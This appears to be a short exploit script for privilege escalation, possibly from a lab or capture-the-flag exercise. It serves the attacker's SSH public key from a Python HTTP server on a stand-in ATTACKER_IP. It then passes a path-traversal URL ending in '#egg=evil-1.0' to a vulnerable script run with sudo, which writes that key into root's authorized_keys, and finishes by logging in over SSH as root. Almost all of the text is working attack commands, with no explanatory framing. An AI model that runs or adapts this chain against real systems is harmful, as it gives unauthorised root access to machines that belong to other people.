# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

ssh root@VICTIM_IP